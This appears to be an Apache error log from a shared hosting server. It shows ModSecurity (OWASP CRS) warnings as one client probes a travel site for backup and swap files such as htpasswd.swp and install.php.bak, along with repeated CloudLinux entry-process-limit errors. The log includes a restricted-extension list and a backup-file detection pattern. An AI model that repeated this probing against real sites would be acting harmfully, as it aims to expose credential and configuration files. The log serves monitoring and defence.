[Fri Jul 17 08:55:22.688179 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgovwooI4qY7Jg93pVdwAAABM"]
[Fri Jul 17 08:55:22.690198 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.717260 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.718677 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/htpasswd.swp"] [unique_id "almgou1pLmPpy2r_2CxfaAAAAA8"]
[Fri Jul 17 08:55:22.719296 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/htpasswd.swp"] [unique_id "almgou1pLmPpy2r_2CxfaAAAAA8"]
[Fri Jul 17 08:55:22.719445 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.719594 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgou1pLmPpy2r_2CxfaAAAAA8"]
[Fri Jul 17 08:55:22.722227 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/htpasswd.backup"] [unique_id "almgol1_86A5R6msWNfUdgAAABI"]
[Fri Jul 17 08:55:22.722814 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/htpasswd.backup"] [unique_id "almgol1_86A5R6msWNfUdgAAABI"]
[Fri Jul 17 08:55:22.722946 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.723119 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgol1_86A5R6msWNfUdgAAABI"]
[Fri Jul 17 08:55:22.731333 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.733449 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.734160 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.734553 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.736066 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.776997 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/install.php.bak"] [unique_id "almgoroj0IkvhSCYadmBxgAAAAQ"]
[Fri Jul 17 08:55:22.777572 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/install.php.bak"] [unique_id "almgoroj0IkvhSCYadmBxgAAAAQ"]
[Fri Jul 17 08:55:22.777746 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.777881 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoroj0IkvhSCYadmBxgAAAAQ"]
[Fri Jul 17 08:55:22.781361 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/install.php~"] [unique_id "almgoqquHSHoCJK_V0SBaQAAABs"]
[Fri Jul 17 08:55:22.781919 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/install.php~"] [unique_id "almgoqquHSHoCJK_V0SBaQAAABs"]
[Fri Jul 17 08:55:22.782166 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.782330 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoqquHSHoCJK_V0SBaQAAABs"]
[Fri Jul 17 08:55:22.795989 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.800259 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/install.php.old"] [unique_id "almgovwooI4qY7Jg93pVeAAAABM"]
[Fri Jul 17 08:55:22.800855 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/install.php.old"] [unique_id "almgovwooI4qY7Jg93pVeAAAABM"]
[Fri Jul 17 08:55:22.800991 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.801153 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgovwooI4qY7Jg93pVeAAAABM"]
[Fri Jul 17 08:55:22.807585 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/install.php.backup"] [unique_id "almgoobYoYGvYnmnM82CRwAAAAs"]
[Fri Jul 17 08:55:22.808225 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/install.php.backup"] [unique_id "almgoobYoYGvYnmnM82CRwAAAAs"]
[Fri Jul 17 08:55:22.808392 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.808550 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoobYoYGvYnmnM82CRwAAAAs"]
[Fri Jul 17 08:55:22.809186 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/install.php.swp"] [unique_id "almgou1pLmPpy2r_2CxfaQAAAA8"]
[Fri Jul 17 08:55:22.809664 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.809752 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/install.php.swp"] [unique_id "almgou1pLmPpy2r_2CxfaQAAAA8"]
[Fri Jul 17 08:55:22.809847 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.809966 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgou1pLmPpy2r_2CxfaQAAAA8"]
[Fri Jul 17 08:55:22.811487 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.811811 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.812508 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.814108 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.814960 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
